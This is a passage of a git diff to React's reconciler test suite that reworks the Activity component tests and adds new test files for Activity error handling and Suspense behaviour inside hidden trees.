@@ -752,7 +725,7 @@ describe('Activity', () => {
 
     const root = ReactNoop.createRoot();
     await act(() => {
-      root.render(<Activity hidden={false} />);
+      root.render(<Activity />);
     });
     assertLog([]);
     expect(root).toMatchRenderedOutput(null);
@@ -761,7 +734,7 @@ describe('Activity', () => {
       // Partially render a component
       startTransition(() => {
         root.render(
-          <Activity hidden={false}>
+          <Activity>
             <Child />
             <Text text="Sibling" />
           </Activity>,
@@ -780,16 +753,18 @@ describe('Activity', () => {
       // would be null because it was nulled out when it was deleted, but there
       // was no null check before we accessed it. A weird edge case but we must
       // account for it.
-      expect(() => {
-        setState('Updated');
-      }).toErrorDev(
-        "Can't perform a React state update on a component that hasn't mounted yet",
-      );
+      setState('Updated');
+      assertConsoleErrorDev([
+        "Can't perform a React state update on a component that hasn't mounted yet. " +
+          'This indicates that you have a side-effect in your render function that ' +
+          'asynchronously tries to update the component. ' +
+          'Move this work to useEffect instead.\n' +
+          '    in Child (at **)',
+      ]);
     });
     expect(root).toMatchRenderedOutput(null);
   });
 
-  // @gate enableActivity
   it('class component setState callbacks do not fire until tree is visible', async () => {
     const root = ReactNoop.createRoot();
 
@@ -841,7 +816,6 @@ describe('Activity', () => {
     expect(root).toMatchRenderedOutput(<span prop="C" />);
   });
 
-  // @gate enableActivity
   it('does not call componentDidUpdate when reappearing a hidden class component', async () => {
     class Child extends React.Component {
       componentDidMount() {
@@ -891,7 +865,6 @@ describe('Activity', () => {
     assertLog(['componentDidMount']);
   });
 
-  // @gate enableActivity
   it(
     'when reusing old components (hidden -> visible), layout effects fire ' +
       'with same timing as if it were brand new',
@@ -944,7 +917,6 @@ describe('Activity', () => {
     },
   );
 
-  // @gate enableActivity
   it(
     'when reusing old components (hidden -> visible), layout effects fire ' +
       'with same timing as if it were brand new (includes setState callback)',
@@ -1007,7 +979,6 @@ describe('Activity', () => {
     },
   );
 
-  // @gate enableActivity
   it('defer passive effects when prerendering a new Activity tree', async () => {
     function Child({label}) {
       useEffect(() => {
@@ -1125,7 +1096,6 @@ describe('Activity', () => {
     assertLog(['Shell', 'More']);
   });
 
-  // @gate enableActivity
   it('passive effects are connected and disconnected when the visibility changes', async () => {
     function Child({step}) {
       useEffect(() => {
@@ -1182,7 +1152,6 @@ describe('Activity', () => {
     expect(root).toMatchRenderedOutput(<span prop={2} />);
   });
 
-  // @gate enableActivity
   it('passive effects are unmounted on hide in the same order as during a deletion: parent before child', async () => {
     function Child({label}) {
       useEffect(() => {
@@ -1240,7 +1209,6 @@ describe('Activity', () => {
   // Re-enable this test once we add this ability. For example, we'll likely add
   // either an option or a heuristic to mount passive effects inside a hidden
   // tree after a delay.
-  // @gate enableActivity
   // eslint-disable-next-line jest/no-disabled-tests
   it.skip("don't defer passive effects when prerendering in a tree whose effects are already connected", async () => {
     function Child({label}) {
@@ -1297,7 +1265,6 @@ describe('Activity', () => {
     ]);
   });
 
-  // @gate enableActivity
   it('does not mount effects when prerendering a nested Activity boundary', async () => {
     function Child({label}) {
       useEffect(() => {
@@ -1375,7 +1342,6 @@ describe('Activity', () => {
     );
   });
 
-  // @gate enableActivity
   it('reveal an outer Activity boundary without revealing an inner one', async () => {
     function Child({label}) {
       useEffect(() => {
@@ -1441,621 +1407,227 @@ describe('Activity', () => {
     );
   });
 
-  describe('manual interactivity', () => {
-    // @gate enableActivity
-    it('should attach ref only for mode null', async () => {
-      let offscreenRef;
-
-      function App({mode}) {
-        offscreenRef = useRef(null);
-        return (
-          <Activity
-            mode={mode}
-            ref={ref => {
-              offscreenRef.current = ref;
-            }}>
-            <div />
+  it('reveal an inner Activity boundary without revealing an outer one on the same host child', async () => {
+    // This ensures that no update is scheduled, which would cover up the bug if the parent
+    // then re-hides the child on the way up.
+    const memoizedElement = <div />;
+    function App({showOuter, showInner}) {
+      return (
+        <Activity mode={showOuter ? 'visible' : 'hidden'} name="Outer">
+          <Activity mode={showInner ? 'visible' : 'hidden'} name="Inner">
+            {memoizedElement}
           </Activity>
-        );
-      }
-
-      const root = ReactNoop.createRoot();
-
-      await act(() => {
-        root.render(<App mode={'manual'} />);
-      });
-
-      expect(offscreenRef.current).not.toBeNull();
-
-      await act(() => {
-        root.render(<App mode={'visible'} />);
-      });
-
-      expect(offscreenRef.current).toBeNull();
-
-      await act(() => {
-        root.render(<App mode={'hidden'} />);
-      });
-
-      expect(offscreenRef.current).toBeNull();
-
-      await act(() => {
-        root.render(<App mode={'manual'} />);
-      });
-
-      expect(offscreenRef.current).not.toBeNull();
-    });
-
-    // @gate enableActivity
-    it('should lower update priority for detached Activity', async () => {
-      let updateChildState;
-      let updateHighPriorityComponentState;
-      let offscreenRef;
-
-      function Child() {
-        const [state, _stateUpdate] = useState(0);
-        updateChildState = _stateUpdate;
-        const text = 'Child ' + state;
-        return <Text text={text} />;
-      }
-
-      function HighPriorityComponent(props) {
-        const [state, _stateUpdate] = useState(0);
-        updateHighPriorityComponentState = _stateUpdate;
-        const text = 'HighPriorityComponent ' + state;
-        return (
-          <>
-            <Text text={text} />
-            {props.children}
-          </>
-        );
-      }
-
-      function App() {
-        offscreenRef = useRef(null);
-        return (
-          <>
-            <HighPriorityComponent>
-              <Activity mode={'manual'} ref={offscreenRef}>
-                <Child />
-              </Activity>
-            </HighPriorityComponent>
-          </>
-        );
-      }
-
-      const root = ReactNoop.createRoot();
-
-      await act(() => {
-        root.render(<App />);
-      });
-
-      assertLog(['HighPriorityComponent 0', 'Child 0']);
-      expect(root).toMatchRenderedOutput(
-        <>
-          <span prop="HighPriorityComponent 0" />
-          <span prop="Child 0" />
-        </>,
-      );
-
-      expect(offscreenRef.current).not.toBeNull();
-
-      // Activity is attached by default. State updates from offscreen are **not defered**.
-      await act(async () => {
-        updateChildState(1);
-        updateHighPriorityComponentState(1);
-        await waitForPaint(['HighPriorityComponent 1', 'Child 1']);
-        expect(root).toMatchRenderedOutput(
-          <>
-            <span prop="HighPriorityComponent 1" />
-            <span prop="Child 1" />
-          </>,
-        );
-      });
-
-      await act(() => {
-        offscreenRef.current.detach();
-      });
-
-      // Activity is detached. State updates from offscreen are **defered**.
-      await act(async () => {
-        updateChildState(2);
-        updateHighPriorityComponentState(2);
-        await waitForPaint(['HighPriorityComponent 2']);
-        expect(root).toMatchRenderedOutput(
-          <>
-            <span prop="HighPriorityComponent 2" />
-            <span prop="Child 1" />
-          </>,
-        );
-      });
-
-      assertLog(['Child 2']);
-      expect(root).toMatchRenderedOutput(
-        <>
-          <span prop="HighPriorityComponent 2" />
-          <span prop="Child 2" />
-        </>,
-      );
-
-      await act(() => {
-        offscreenRef.current.attach();
-      });
-
-      // Activity is attached. State updates from offscreen are **not defered**.
-      await act(async () => {
-        updateChildState(3);
-        updateHighPriorityComponentState(3);
-        await waitForPaint(['HighPriorityComponent 3', 'Child 3']);
-        expect(root).toMatchRenderedOutput(
-          <>
-            <span prop="HighPriorityComponent 3" />
-            <span prop="Child 3" />
-          </>,
-        );
-      });
-    });
-
-    // @gate enableActivity
-    it('defers detachment if called during commit', async () => {
-      let updateChildState;
-      let updateHighPriorityComponentState;
-      let offscreenRef;
-      let nextRenderTriggerDetach = false;
-      let nextRenderTriggerAttach = false;
-
-      function Child() {
-        const [state, _stateUpdate] = useState(0);
-        updateChildState = _stateUpdate;
-        const text = 'Child ' + state;
-        return <Text text={text} />;
-      }
-
-      function HighPriorityComponent(props) {
-        const [state, _stateUpdate] = useState(0);
-        updateHighPriorityComponentState = _stateUpdate;
-        const text = 'HighPriorityComponent ' + state;
-        useLayoutEffect(() => {
-          if (nextRenderTriggerDetach) {
-            _stateUpdate(state + 1);
-            updateChildState(state + 1);
-            offscreenRef.current.detach();
-            nextRenderTriggerDetach = false;
-          }
-
-          if (nextRenderTriggerAttach) {
-            offscreenRef.current.attach();
-            nextRenderTriggerAttach = false;
-          }
-        });
-        return (
-          <>
-            <Text text={text} />
-            {props.children}
-          </>
-        );
-      }
-
-      function App() {
-        offscreenRef = useRef(null);
-        return (
-          <>
-            <HighPriorityComponent>
-              <Activity mode={'manual'} ref={offscreenRef}>
-                <Child />
-              </Activity>
-            </HighPriorityComponent>
-          </>
-        );
-      }
-
-      const root = ReactNoop.createRoot();
-
-      await act(() => {
-        root.render(<App />);
-      });
-
-      assertLog(['HighPriorityComponent 0', 'Child 0']);
-
-      nextRenderTriggerDetach = true;
-
-      // Activity is attached and gets detached inside useLayoutEffect.
-      // State updates from offscreen are **defered**.
-      await act(async () => {
-        updateChildState(1);
-        updateHighPriorityComponentState(1);
-        await waitForPaint([
-          'HighPriorityComponent 1',
-          'Child 1',
-          'HighPriorityComponent 2',
-        ]);
-        expect(root).toMatchRenderedOutput(
-          <>
-            <span prop="HighPriorityComponent 2" />
-            <span prop="Child 1" />
-          </>,
-        );
-      });
-
-      assertLog(['Child 2']);
-      expect(root).toMatchRenderedOutput(
-        <>
-          <span prop="HighPriorityComponent 2" />
-          <span prop="Child 2" />
-        </>,
-      );
-
-      nextRenderTriggerAttach = true;
-
-      // Activity is detached. State updates from offscreen are **defered**.
-      // Activity is attached inside useLayoutEffect;
-      await act(async () => {
-        updateChildState(3);
-        updateHighPriorityComponentState(3);
-        await waitForPaint(['HighPriorityComponent 3', 'Child 3']);
-        expect(root).toMatchRenderedOutput(
-          <>
-            <span prop="HighPriorityComponent 3" />
-            <span prop="Child 3" />
-          </>,
-        );
-      });
-    });
-  });
-
-  // @gate enableActivity
-  it('should detach ref if Activity is unmounted', async () => {
-    let offscreenRef;
-
-    function App({showOffscreen}) {
-      offscreenRef = useRef(null);
-      return showOffscreen ? (
-        <Activity
-          mode={'manual'}
-          ref={ref => {
-            offscreenRef.current = ref;
-          }}>
-          <div />
         </Activity>
-      ) : null;
+      );
     }
 
     const root = ReactNoop.createRoot();
 
+    // Prerender the whole tree.
     await act(() => {
-      root.render(<App showOffscreen={true} />);
-    });
-
-    expect(offscreenRef.current).not.toBeNull();
-
-    await act(() => {
-      root.render(<App showOffscreen={false} />);
+      root.render(<App showOuter={false} showInner={false} />);
     });
-
-    expect(offscreenRef.current).toBeNull();
+    expect(root).toMatchRenderedOutput(<div hidden={true} />);
 
     await act(() => {
-      root.render(<App showOffscreen={true} />);
+      root.render(<App showOuter={false} showInner={true} />);
     });
-
-    expect(offscreenRef.current).not.toBeNull();
+    expect(root).toMatchRenderedOutput(<div hidden={true} />);
   });
 
-  // @gate enableActivity
-  it('should detach ref when parent Activity is hidden', async () => {
-    let offscreenRef;
-
-    function App({mode}) {
-      offscreenRef = useRef(null);
+  it('reveal an inner Suspense boundary without revealing an outer Activity on the same host child', async () => {
+    // This ensures that no update is scheduled, which would cover up the bug if the parent
+    // then re-hides the child on the way up.
+    const memoizedElement = <div />;
+    const promise = new Promise(() => {});
+    function App({showOuter, showInner}) {
       return (
-        <Activity mode={mode}>
-          <Activity mode={'manual'} ref={offscreenRef}>
-            <div />
-          </Activity>
+        <Activity mode={showOuter ? 'visible' : 'hidden'} name="Outer">
+          <Suspense name="Inner">
+            {memoizedElement}
+            {showInner ? null : promise}
+          </Suspense>
         </Activity>
       );
     }
 
     const root = ReactNoop.createRoot();
 
+    // Prerender the whole tree.
     await act(() => {
-      root.render(<App mode={'hidden'} />);
-    });
-
-    expect(offscreenRef.current).toBeNull();
-
-    await act(() => {
-      root.render(<App mode={'visible'} />);
+      root.render(<App showOuter={false} showInner={true} />);
     });
+    expect(root).toMatchRenderedOutput(<div hidden={true} />);
 
-    expect(offscreenRef.current).not.toBeNull();
+    // Resuspend the inner.
     await act(() => {
-      root.render(<App mode={'hidden'} />);
-    });
-
-    expect(offscreenRef.current).toBeNull();
-  });
-
-  // @gate enableActivity
-  it('should change _current', async () => {
-    let offscreenRef;
-    const root = ReactNoop.createRoot();
-
-    function App({children}) {
-      offscreenRef = useRef(null);
-      return (
-        <Activity mode={'manual'} ref={offscreenRef}>
-          {children}
-        </Activity>
-      );
-    }
-
-    await act(() => {
-      root.render(
-        <App>
-          <div />
-        </App>,
-      );
+      root.render(<App showOuter={false} showInner={false} />);
     });
-
-    expect(offscreenRef.current).not.toBeNull();
-    const firstFiber = offscreenRef.current._current;
+    expect(root).toMatchRenderedOutput(<div hidden={true} />);
 
     await act(() => {
-      root.render(
-        <App>
-          <span />
-        </App>,
-      );
+      root.render(<App showOuter={false} showInner={true} />);
     });
-
-    expect(offscreenRef.current._current === firstFiber).toBeFalsy();
+    expect(root).toMatchRenderedOutput(<div hidden={true} />);
   });
 
-  // @gate enableActivity
-  it('does not mount tree until attach is called', async () => {
-    let offscreenRef;
-    let spanRef;
-
-    function Child() {
-      spanRef = useRef(null);
-      useEffect(() => {
-        Scheduler.log('Mount Child');
-        return () => {
-          Scheduler.log('Unmount Child');
-        };
-      });
-      useLayoutEffect(() => {
-        Scheduler.log('Mount Layout Child');
+  it('insertion effects are not disconnected when the visibility changes', async () => {
+    function Child({step}) {
+      useInsertionEffect(() => {
+        Scheduler.log(`Commit mount [${step}]`);
         return () => {
-          Scheduler.log('Unmount Layout Child');
+          Scheduler.log(`Commit unmount [${step}]`);
         };
-      });
-
-      return <span ref={spanRef}>Child</span>;
+      }, [step]);
+      return <Text text={step} />;
     }
 
-    function App() {
+    function App({show, step}) {
       return (
-        <Activity mode={'manual'} ref={el => (offscreenRef = el)}>
-          <Child />
+        <Activity mode={show ? 'visible' : 'hidden'}>
+          {useMemo(
+            () => (
+              <Child step={step} />
+            ),
+            [step],
+          )}
         </Activity>
       );
     }
 
     const root = ReactNoop.createRoot();
-
     await act(() => {
-      root.render(<App />);
+      root.render(<App show={true} step={1} />);
     });
+    assertLog([1, 'Commit mount [1]']);
+    expect(root).toMatchRenderedOutput(<span prop={1} />);
 
-    expect(offscreenRef).not.toBeNull();
-    expect(spanRef.current).not.toBeNull();
-    assertLog(['Mount Layout Child', 'Mount Child']);
-
+    // Hide the tree. This will not unmount insertion effects.
     await act(() => {
-      offscreenRef.detach();
+      root.render(<App show={false} step={1} />);
     });
+    assertLog([]);
+    expect(root).toMatchRenderedOutput(<span hidden={true} prop={1} />);
 
-    expect(spanRef.current).toBeNull();
-    assertLog(['Unmount Layout Child', 'Unmount Child']);
-
-    // Calling attach on already attached Activity.
+    // Update.
     await act(() => {
-      offscreenRef.detach();
+      root.render(<App show={false} step={2} />);
     });
+    // The update is pre-rendered so insertion effects are fired
+    assertLog([2, 'Commit unmount [1]', 'Commit mount [2]']);
+    expect(root).toMatchRenderedOutput(<span hidden={true} prop={2} />);
 
-    assertLog([]);
-
+    // Reveal the tree.
     await act(() => {
-      offscreenRef.attach();
+      root.render(<App show={true} step={2} />);
     });
-
-    expect(spanRef.current).not.toBeNull();
-    assertLog(['Mount Layout Child', 'Mount Child']);
-
-    // Calling attach on already attached Activity
-    offscreenRef.attach();
-
+    // The update doesn't render because it was already pre-rendered, and the
+    // insertion effect already fired.
     assertLog([]);
+    expect(root).toMatchRenderedOutput(<span prop={2} />);
   });
 
   // @gate enableActivity
-  it('handles nested manual offscreens', async () => {
-    let outerOffscreen;
-    let innerOffscreen;
+  it('getSnapshotBeforeUpdate does not run in hidden trees', async () => {
+    let setState;
 
-    function App() {
+    class Child extends React.Component {
+      getSnapshotBeforeUpdate(prevProps) {
+        const snapshot = `snapshot-${prevProps.value}-to-${this.props.value}`;
+        Scheduler.log(`getSnapshotBeforeUpdate: ${snapshot}`);
+        return snapshot;
+      }
+      componentDidUpdate(prevProps, prevState, snapshot) {
+        Scheduler.log(`componentDidUpdate: ${snapshot}`);
+      }
+      componentDidMount() {
+        Scheduler.log('componentDidMount');
+      }
+      componentWillUnmount() {
+        Scheduler.log('componentWillUnmount');
+      }
+      render() {
+        Scheduler.log(`render: ${this.props.value}`);
+        return <span prop={this.props.value} />;
+      }
+    }
+
+    function Wrapper({show}) {
+      const [value, _setState] = useState(1);
+      setState = _setState;
       return (
-        <LoggedText text={'outer'}>
-          <Activity mode={'manual'} ref={el => (outerOffscreen = el)}>
-            <LoggedText text={'middle'}>
-              <Activity mode={'manual'} ref={el => (innerOffscreen = el)}>
-                <LoggedText text={'inner'} />
-              </Activity>
-            </LoggedText>
-          </Activity>
-        </LoggedText>
+        <Activity mode={show ? 'visible' : 'hidden'}>
+          <Child value={value} />
+        </Activity>
       );
     }
 
     const root = ReactNoop.createRoot();
 
+    // Initial render
     await act(() => {
-      root.render(<App />);
+      root.render(<Wrapper show={true} />);
     });
+    assertLog(['render: 1', 'componentDidMount']);
 
-    assertLog([
-      'outer',
-      'middle',
-      'inner',
-      'mount layout inner',
-      'mount layout middle',
-      'mount layout outer',
-      'mount inner',
-      'mount middle',
-      'mount outer',
-    ]);
-
-    expect(outerOffscreen).not.toBeNull();
-    expect(innerOffscreen).not.toBeNull();
-
+    // Hide the Activity
     await act(() => {
-      outerOffscreen.detach();
+      root.render(<Wrapper show={false} />);
     });
-
-    expect(innerOffscreen).toBeNull();
-
     assertLog([
-      'unmount layout middle',
-      'unmount layout inner',
-      'unmount middle',
-      'unmount inner',
+      'componentWillUnmount',
+      'render: 1',
+      // Bugfix: snapshots for hidden trees should not need to be read.
+      ...(gate('enableViewTransition')
+        ? []
+        : ['getSnapshotBeforeUpdate: snapshot-1-to-1']),
     ]);
 
+    // Trigger an update while hidden by calling setState
     await act(() => {
-      outerOffscreen.attach();
+      setState(2);
     });
-
     assertLog([
-      'mount layout inner',
-      'mount layout middle',
-      'mount inner',
-      'mount middle',
+      'render: 2',
+      ...(gate('enableViewTransition')
+        ? []
+        : ['getSnapshotBeforeUpdate: snapshot-1-to-2']),
     ]);
 
+    // This is treated as a new mount so the snapshot also shouldn't be read.
     await act(() => {
-      innerOffscreen.detach();
-    });
-
-    assertLog(['unmount layout inner', 'unmount inner']);
-
-    // Calling detach on already detached Activity.
-    await act(() => {
-      innerOffscreen.detach();
-    });
-
-    assertLog([]);
-
-    await act(() => {
-      innerOffscreen.attach();
-    });
-
-    assertLog(['mount layout inner', 'mount inner']);
-
-    await act(() => {
-      innerOffscreen.detach();
-      outerOffscreen.attach();
-    });
-
-    assertLog(['unmount layout inner', 'unmount inner']);
-  });
-
-  // @gate enableActivity
-  it('batches multiple attach and detach calls scheduled from an event handler', async () => {
-    function Child() {
-      useEffect(() => {
-        Scheduler.log('attach child');
-        return () => {
-          Scheduler.log('detach child');
-        };
-      }, []);
-      return 'child';
-    }
-
-    const offscreen = React.createRef(null);
-    function App() {
-      return (
-        <Activity ref={offscreen} mode="manual">
-          <Child />
-        </Activity>
-      );
-    }
-
-    const root = ReactNoop.createRoot();
-    await act(() => {
-      root.render(<App />);
-    });
-
-    assertLog(['attach child']);
-
-    await act(() => {
-      const instance = offscreen.current;
-      // Detach then immediately attach the instance.
-      instance.detach();
-      instance.attach();
-    });
-
-    assertLog([]);
-
-    await act(() => {
-      const instance = offscreen.current;
-      instance.detach();
-    });
-
-    assertLog(['detach child']);
-
-    await act(() => {
-      const instance = offscreen.current;
-      // Attach then immediately detach.
-      instance.attach();
-      instance.detach();
+      root.render(<Wrapper show={true} />);
     });
-
-    assertLog([]);
+    assertLog([
+      'render: 2',
+      ...(gate('enableViewTransition')
+        ? []
+        : ['getSnapshotBeforeUpdate: snapshot-2-to-2']),
+      'componentDidMount',
+    ]);
   });
 
   // @gate enableActivity
-  it('batches multiple attach and detach calls scheduled from an effect', async () => {
-    function Child() {
-      useEffect(() => {
-        Scheduler.log('attach child');
-        return () => {
-          Scheduler.log('detach child');
-        };
-      }, []);
-      return 'child';
-    }
-
+  it('warns if you pass a hidden prop', async () => {
     function App() {
-      const offscreen = useRef(null);
-      useLayoutEffect(() => {
-        const instance = offscreen.current;
-        // Detach then immediately attach the instance.
-        instance.detach();
-        instance.attach();
-      }, []);
       return (
-        <Activity ref={offscreen} mode="manual">
-          <Child />
+        // eslint-disable-next-line react/jsx-boolean-value
+        <Activity hidden>
+          <div />
         </Activity>
       );
     }
 
     const root = ReactNoop.createRoot();
     await act(() => {
-      root.render(<App />);
+      root.render(<App show={true} step={1} />);
     });
-    assertLog(['attach child']);
+    assertConsoleErrorDev([
+      '<Activity> doesn\'t accept a hidden prop. Use mode="hidden" instead.\n' +
+        '- <Activity hidden>\n' +
+        '+ <Activity mode="hidden">\n' +
+        '    in Activity (at **)\n' +
+        '    in App (at **)',
+    ]);
   });
 });
diff --git a/packages/react-reconciler/src/__tests__/ActivityErrorHandling-test.js b/packages/react-reconciler/src/__tests__/ActivityErrorHandling-test.js
new file mode 100644
index 000000000000..af22b95f5472
--- /dev/null
+++ b/packages/react-reconciler/src/__tests__/ActivityErrorHandling-test.js
@@ -0,0 +1,98 @@
+let React;
+let ReactNoop;
+let Scheduler;
+let act;
+let Activity;
+let useState;
+let assertLog;
+
+describe('Activity error handling', () => {
+  beforeEach(() => {
+    jest.resetModules();
+
+    React = require('react');
+    ReactNoop = require('react-noop-renderer');
+    Scheduler = require('scheduler');
+    act = require('internal-test-utils').act;
+    Activity = React.Activity;
+    useState = React.useState;
+
+    const InternalTestUtils = require('internal-test-utils');
+    assertLog = InternalTestUtils.assertLog;
+  });
+
+  function Text({text}) {
+    Scheduler.log(text);
+    return text;
+  }
+
+  it(
+    'errors inside a hidden Activity do not escape in the visible part ' +
+      'of the UI',
+    async () => {
+      class ErrorBoundary extends React.Component {
+        state = {error: null};
+        static getDerivedStateFromError(error) {
+          return {error};
+        }
+        render() {
+          if (this.state.error) {
+            return (
+              <Text text={`Caught an error: ${this.state.error.message}`} />
+            );
+          }
+          return this.props.children;
+        }
+      }
+
+      function Throws() {
+        throw new Error('Oops!');
+      }
+
+      let setShowMore;
+      function App({content, more}) {
+        const [showMore, _setShowMore] = useState(false);
+        setShowMore = _setShowMore;
+        return (
+          <>
+            <div>{content}</div>
+            <div>
+              <ErrorBoundary>
+                <Activity mode={showMore ? 'visible' : 'hidden'}>
+                  {more}
+                </Activity>
+              </ErrorBoundary>
+            </div>
+          </>
+        );
+      }
+
+      await act(() =>
+        ReactNoop.render(
+          <App content={<Text text="Visible" />} more={<Throws />} />,
+        ),
+      );
+
+      // Initial render. An error is thrown when prerendering the hidden
+      // Activity boundary, but since it's hidden, the UI doesn't observe it.
+      assertLog(['Visible']);
+      expect(ReactNoop).toMatchRenderedOutput(
+        <>
+          <div>Visible</div>
+          <div />
+        </>,
+      );
+
+      // Once the Activity boundary is revealed, the error is thrown and
+      // captured by the outer ErrorBoundary.
+      await act(() => setShowMore(true));
+      assertLog(['Caught an error: Oops!', 'Caught an error: Oops!']);
+      expect(ReactNoop).toMatchRenderedOutput(
+        <>
+          <div>Visible</div>
+          <div>Caught an error: Oops!</div>
+        </>,
+      );
+    },
+  );
+});
diff --git a/packages/react-reconciler/src/__tests__/ActivityLegacySuspense-test.js b/packages/react-reconciler/src/__tests__/ActivityLegacySuspense-test.js
new file mode 100644
index 000000000000..482aa54ff99f
--- /dev/null
+++ b/packages/react-reconciler/src/__tests__/ActivityLegacySuspense-test.js
@@ -0,0 +1,597 @@
+let React;
+let ReactNoop;
+let Scheduler;
+let act;
+let LegacyHidden;
+let Activity;
+let Suspense;
+let useState;
+let useEffect;
+let startTransition;
+let textCache;
+let waitFor;
+let waitForPaint;
+let assertLog;
+
+describe('Activity Suspense', () => {
+  beforeEach(() => {
+    jest.resetModules();
+
+    React = require('react');
+    ReactNoop = require('react-noop-renderer');
+    Scheduler = require('scheduler');
+    act = require('internal-test-utils').act;
+    LegacyHidden = React.unstable_LegacyHidden;
+    Activity = React.Activity;
+    Suspense = React.Suspense;
+    useState = React.useState;
+    useEffect = React.useEffect;
+    startTransition = React.startTransition;
+
+    const InternalTestUtils = require('internal-test-utils');
+    waitFor = InternalTestUtils.waitFor;
+    waitForPaint = InternalTestUtils.waitForPaint;
+    assertLog = InternalTestUtils.assertLog;
+
+    textCache = new Map();
+  });
+
+  function resolveText(text) {
+    const record = textCache.get(text);
+    if (record === undefined) {
+      const newRecord = {
+        status: 'resolved',
+        value: text,
+      };
+      textCache.set(text, newRecord);
+    } else if (record.status === 'pending') {
+      const thenable = record.value;
+      record.status = 'resolved';
+      record.value = text;
+      thenable.pings.forEach(t => t());
+    }
+  }
+
+  function readText(text) {
+    const record = textCache.get(text);
+    if (record !== undefined) {
+      switch (record.status) {
+        case 'pending':
+          Scheduler.log(`Suspend! [${text}]`);
+          throw record.value;
+        case 'rejected':
+          throw record.value;
+        case 'resolved':
+          return record.value;
+      }
+    } else {
+      Scheduler.log(`Suspend! [${text}]`);
+      const thenable = {
+        pings: [],
+        then(resolve) {
+          if (newRecord.status === 'pending') {
+            thenable.pings.push(resolve);
+          } else {
+            Promise.resolve().then(() => resolve(newRecord.value));
+          }
+        },
+      };
+
+      const newRecord = {
+        status: 'pending',
+        value: thenable,
+      };
+      textCache.set(text, newRecord);
+
+      throw thenable;
+    }
+  }
+
+  function Text({text}) {
+    Scheduler.log(text);
+    return text;
+  }
+
+  function AsyncText({text}) {
+    readText(text);
+    Scheduler.log(text);
+    return text;
+  }
+
+  it('basic example of suspending inside hidden tree', async () => {
+    const root = ReactNoop.createRoot();
+
+    function App() {
+      return (
+        <Suspense fallback={<Text text="Loading..." />}>
+          <span>
+            <Text text="Visible" />
+          </span>
+          <Activity mode="hidden">
+            <span>
+              <AsyncText text="Hidden" />
+            </span>
+          </Activity>
+        </Suspense>
+      );
+    }
+
+    // The hidden tree hasn't finished loading, but we should still be able to
+    // show the surrounding contents. The outer Suspense boundary
+    // isn't affected.
+    await act(() => {
+      root.render(<App />);
+    });
+    assertLog(['Visible', 'Suspend! [Hidden]']);
+    expect(root).toMatchRenderedOutput(<span>Visible</span>);
+
+    // When the data resolves, we should be able to finish prerendering
+    // the hidden tree.
+    await act(async () => {
+      await resolveText('Hidden');
+    });
+    assertLog(['Hidden']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>Visible</span>
+        <span hidden={true}>Hidden</span>
+      </>,
+    );
+  });
+
+  // @gate enableLegacyHidden
+  test('LegacyHidden does not handle suspense', async () => {
+    const root = ReactNoop.createRoot();
+
+    function App() {
+      return (
+        <Suspense fallback={<Text text="Loading..." />}>
+          <span>
+            <Text text="Visible" />
+          </span>
+          <LegacyHidden mode="hidden">
+            <span>
+              <AsyncText text="Hidden" />
+            </span>
+          </LegacyHidden>
+        </Suspense>
+      );
+    }
+
+    // Unlike Activity, LegacyHidden never captures if something suspends
+    await act(() => {
+      root.render(<App />);
+    });
+    assertLog(['Visible', 'Suspend! [Hidden]', 'Loading...']);
+    // Nearest Suspense boundary switches to a fallback even though the
+    // suspended content is hidden.
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span hidden={true}>Visible</span>
+        Loading...
+      </>,
+    );
+  });
+
+  // @gate __DEV__
+  test('Regression: Suspending on hide should not infinite loop.', async () => {
+    // This regression only repros in public act.
+    global.IS_REACT_ACT_ENVIRONMENT = true;
+    const root = ReactNoop.createRoot();
+
+    let setMode;
+    function Container({text}) {
+      const [mode, _setMode] = React.useState('visible');
+      setMode = _setMode;
+      useEffect(() => {
+        return () => {
+          Scheduler.log(`Clear [${text}]`);
+          textCache.delete(text);
+        };
+      });
+      return (
+        //$FlowFixMe
+        <Suspense fallback="Loading">
+          <Activity mode={mode}>
+            <AsyncText text={text} />
+          </Activity>
+        </Suspense>
+      );
+    }
+
+    await React.act(() => {
+      root.render(<Container text="hello" />);
+    });
+    assertLog([
+      'Suspend! [hello]',
+      // pre-warming
+      'Suspend! [hello]',
+    ]);
+    expect(root).toMatchRenderedOutput('Loading');
+
+    await React.act(async () => {
+      await resolveText('hello');
+    });
+    assertLog(['hello']);
+    expect(root).toMatchRenderedOutput('hello');
+
+    await React.act(async () => {
+      setMode('hidden');
+    });
+    assertLog(['Clear [hello]', 'Suspend! [hello]']);
+    expect(root).toMatchRenderedOutput('');
+  });
+
+  test("suspending inside currently hidden tree that's switching to visible", async () => {
+    const root = ReactNoop.createRoot();
+
+    function Details({open, children}) {
+      return (
+        <Suspense fallback={<Text text="Loading..." />}>
+          <span>
+            <Text text={open ? 'Open' : 'Closed'} />
+          </span>
+          <Activity mode={open ? 'visible' : 'hidden'}>
+            <span>{children}</span>
+          </Activity>
+        </Suspense>
+      );
+    }
+
+    // The hidden tree hasn't finished loading, but we should still be able to
+    // show the surrounding contents. It doesn't matter that there's no
+    // Suspense boundary because the unfinished content isn't visible.
+    await act(() => {
+      root.render(
+        <Details open={false}>
+          <AsyncText text="Async" />
+        </Details>,
+      );
+    });
+    assertLog(['Closed', 'Suspend! [Async]']);
+    expect(root).toMatchRenderedOutput(<span>Closed</span>);
+
+    // But when we switch the boundary from hidden to visible, it should
+    // now bubble to the nearest Suspense boundary.
+    await act(() => {
+      startTransition(() => {
+        root.render(
+          <Details open={true}>
+            <AsyncText text="Async" />
+          </Details>,
+        );
+      });
+    });
+    assertLog(['Open', 'Suspend! [Async]', 'Loading...']);
+    // It should suspend with delay to prevent the already-visible Suspense
+    // boundary from switching to a fallback
+    expect(root).toMatchRenderedOutput(<span>Closed</span>);
+
+    // Resolve the data and finish rendering
+    await act(async () => {
+      await resolveText('Async');
+    });
+    assertLog(['Open', 'Async']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>Open</span>
+        <span>Async</span>
+      </>,
+    );
+  });
+
+  test("suspending inside currently visible tree that's switching to hidden", async () => {
+    const root = ReactNoop.createRoot();
+
+    function Details({open, children}) {
+      return (
+        <Suspense fallback={<Text text="Loading..." />}>
+          <span>
+            <Text text={open ? 'Open' : 'Closed'} />
+          </span>
+          <Activity mode={open ? 'visible' : 'hidden'}>
+            <span>{children}</span>
+          </Activity>
+        </Suspense>
+      );
+    }
+
+    // Initial mount. Nothing suspends
+    await act(() => {
+      root.render(
+        <Details open={true}>
+          <Text text="(empty)" />
+        </Details>,
+      );
+    });
+    assertLog(['Open', '(empty)']);
